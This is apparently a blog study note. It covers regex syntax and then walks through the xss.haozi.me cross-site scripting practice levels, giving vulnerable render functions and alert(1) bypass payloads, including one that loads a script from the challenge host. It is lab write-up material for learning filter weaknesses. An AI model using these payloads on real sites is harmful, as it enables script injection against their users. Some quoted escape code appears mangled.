haozi.me學習記錄
正則表達式
橫向模糊匹配
-
{m,n},最少出現m次最多出現n次
-
/ab{2,5}c/g,表示匹配第一個字符是a,第二位開始2-5個字符是b,最后一個字符是c,g是全局匹配,不僅匹配第一個
縱向模糊匹配
-
[abc],可以匹配abc中的任何一個
-
/a[123]b/,可以匹配a1b,a2b,a3b
范圍表示法
- [123456abcdefABCDEF]可以寫作[1-6a-fA-F]
反義字符組
- [^abc],除abc之外的任意字符
常見的簡寫形式
-
\d,[0-9],匹配一位數字
-
\D,[^0-9],除數字外的字符
-
\w,[0-9a-zA-Z_],數字大小寫字母和下劃線
-
\W,[^0-9a-zA-Z_],除數字大小寫字母和下劃線之外 -
\s,[\t\v\n\r\f],表述空白符號,空格,水平制表符,垂直制表符,換行符,回車符,換頁符
-
\S,非空白符
量詞
- {m,},最少出現m次
- {m},{m,m}出現m次
- ?,{0,1},出現0次或一次
- +,{1,}出現一次或更多次
- *,出現任意次,零次或更多次
貪婪匹配和惰性匹配
- /\d{2,5}/,表示數字連續出現2-5次
- /\d{2,5}?/,在量詞后面加?,實現惰性匹配,匹配到出現2次就不匹配了
多選分支
- (p1|p2|p3),支持子模式中任選其一進行匹配
- 分支結構也是惰性匹配
實例
-
/^(\d{15}|\d{17}[\dxX])$/\\d{15}和\d{17}[\dxX]
\d{15},連續15位數字
\d{17}[\dxX],連續17位數字,最后一位可以是數字也可以是大小寫的
-
優先級
1.轉義符 \ 2.括號和方括號 (...)、(?:...)、(?=...)、(?!...)、[...] 3.量詞限定符 {m}、{m,n}、{m,}、?、*、+ 4.位置和序列 ^ 、$、 \元字符、 一般字符 \5. 管道符(豎杠)|
xss
0x00
-
function render (input) { return '<div>' + input + '</div>' } -
成功img
</div><script>alert(1)</script> </--閉合div標簽--> <img src="111" onerror="alert(1)">img標簽:向網頁中嵌入一幅圖像,從網頁上鏈接圖像
scr屬性:她的值是圖像的url值
onerror事件:在加載外部文件(文檔,圖像)發送錯誤時觸發
0x01
-
function render (input) { return '<textarea>' + input + '</textarea>' } <textarea></textarea> </--html文本區域,定義多行文本輸入控件--> -
</textarea><img src="333" onerror="alert(1)"> # 閉合標簽
0x02
-
function render (input) { return '<input type="name" value="' + input + '">' } <input type="name" value=""><script>alert(1)</script>"> "><script>alert(1)</script>
0x03
-
function render (input) { const stripBracketsRe = /[()]/g 代表全局匹配 input = input.replace(stripBracketsRe, '') <--過濾括號,g代表全局匹配--> return input } -
<script>alert`1`</script># 反撇號繞過
0x04
-
function render (input) { const stripBracketsRe = /[()`]/g <--過濾了括號和反撇號--> input = input.replace(stripBracketsRe, '') return input } -
<img src="222" onerror=alert(1)> # 編碼繞過
-
<svg>,</--可以直接執行實體標簽,相關的腳本被封裝在<script>元素中--> <svg><script>alert(1)</script> -
iframe標簽iframe元素會創建包含另一個文檔的內聯框架
srcdoc屬性:srcdoc中的代碼會作為iframe中的內容顯示出來,srcdoc中可以直接寫轉移后的html片段
<iframe srcdoc="<script>alert(1)</script>">
0x05
-
function render (input) { input = input.replace(/-->/g, '??') return '<!-- ' + input + ' -->' </--填寫的代碼在注釋符中,把注釋符號替換成表情--> } -
--!><script>alert(1)</script> </--注釋符中除了<!-- -->,<!--!>.<!----!>同樣可以注釋 -->
0x06
-
function render (input) { input = input.replace(/auto|on.*=|>/ig, '_') return `<input value=1 ${input} type="text">` } <!--ig全局匹配,忽略大小寫。正則表達式,匹配auto,on開頭=結尾,>,替換為下劃線 --> -
onfocus =alert(1)使用換行的辦法,不以on開頭=結尾,需要鼠標點擊
onclick =alert(1) 鼠標點擊 onmouseover =alert(1) 鼠標放在框上 type=image src=# onerror =alert(1) 直接彈出
0x07
-
function render (input) { const stripTagsRe = /<\/?[^>]+>/gi input = input.replace(stripTagsRe, '') <!--匹配<,</開頭,中間除<之外所有字符最少一個,>結尾 --> return `<article>${input}</article>` } -
<img src=# onerror="alert(1)"
0x08
-
function render (src) { src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */') return ` <style> ${src} </style> ` } 替換了</style> -
</style ><img src=# onerror="alert(1)">空格繞過

0x09
-
function render (input) { let domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${input}"></script>` } return 'Invalid URL' } 以https://www.sesegmentfault.com開頭 -
https://www.segmentfault.com"></script><img src=# onerror="alert(1)閉合script標簽

0x0A
-
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } const domainRe = /^https?:\/\/www\.segmentfault\.com/ if (domainRe.test(input)) { return `<script src="${escapeHtml(input)}"></script>` } return 'Invalid URL' } 以https://www.sesegmentfault.com開頭,同時過濾了&,',",<,>,\,/ -
https://www.segmentfault.com@xss.haozi.me/j.jssrc屬性,script標簽中引用保存好.js文件,url會解析@之后的地址

0x0B
-
function render (input) { input = input.toUpperCase() return `<h1>${input}</h1>` } 將輸入的值轉換成大寫了html,不區分大小寫,域名不區分,js區分大小寫
-
<img src=" " onerror=alert(1)>實體編碼繞過,也可以使用引用js文件

0x0C
-
function render (input) { input = input.replace(/script/ig, '') input = input.toUpperCase() return '<h1>' + input + '</h1>' } 將script替換為空,全部轉換為大寫 -
<img src=" " onerror=alert(1)>編碼繞過,雙寫也行,引用

0x0D
-
function render (input) { input = input.replace(/[</"']/g, '') return ` <script> // alert('${input}') </script> ` } 過濾<,/,",',全局匹配 -
alert(1) -->換行,繞過單行注釋,<!--,-->都可以在html的script標簽里單獨進行注釋

0x0E
-
function render (input) { input = input.replace(/<([a-zA-Z])/g, '<_$1') input = input.toUpperCase() return '<h1>' + input + '</h1>' } 匹配<開頭的字符,替換為<_$1,所有轉換為大寫 -
<?cript src=" " onerror=alert(1)></?cript >?字符,古英語中s的寫法,轉換為大寫后是S,


0x0F
-
function render (input) { function escapeHtml(s) { return s.replace(/&/g, '&') .replace(/'/g, ''') .replace(/"/g, '"') .replace(/</g, '<') .replace(/>/g, '>') .replace(/\//g, '/') } return `<img src onerror="console.error('${escapeHtml(input)}')">` } 過濾了一大堆,轉換成實體編碼, -
') alert(1)//input在img標簽內。html實體編碼可以直接解析

0x10
-
function render (input) { return ` <script> window.data = ${input} </script> ` } -
alert(1)閉合或者直接下一行

0x11
-
// from alf.nu function render (s) { function escapeJs (s) { return String(s) .replace(/\\/g, '\\\\') .replace(/'/g, '\\\'') .replace(/"/g, '\\"') .replace(/`/g, '\\`') .replace(/</g, '\\74') .replace(/>/g, '\\76') .replace(/\//g, '\\/') .replace(/\n/g, '\\n') .replace(/\r/g, '\\r') .replace(/\t/g, '\\t') .replace(/\f/g, '\\f') .replace(/\v/g, '\\v') // .replace(/\b/g, '\\b') .replace(/\0/g, '\\0') } s = escapeJs(s) return ` <script> var url = 'javascript:console.log("${s}")' var a = document.createElement('a') a.href = url document.body.appendChild(a) a.click() </script> ` } 過濾了一大堆 -
");alert(1)(".replace(/"/g, '\"'),雙引號還是可用

0x12
-
// from alf.nu function escape (s) { s = s.replace(/"/g, '\\"') return '<script>console.log("' + s + '");</script>' } 將雙引號進行轉義 -
\");alert(1);</script>
</script> <script>alert(1)</script><script>

浙公網安備 33010602011771號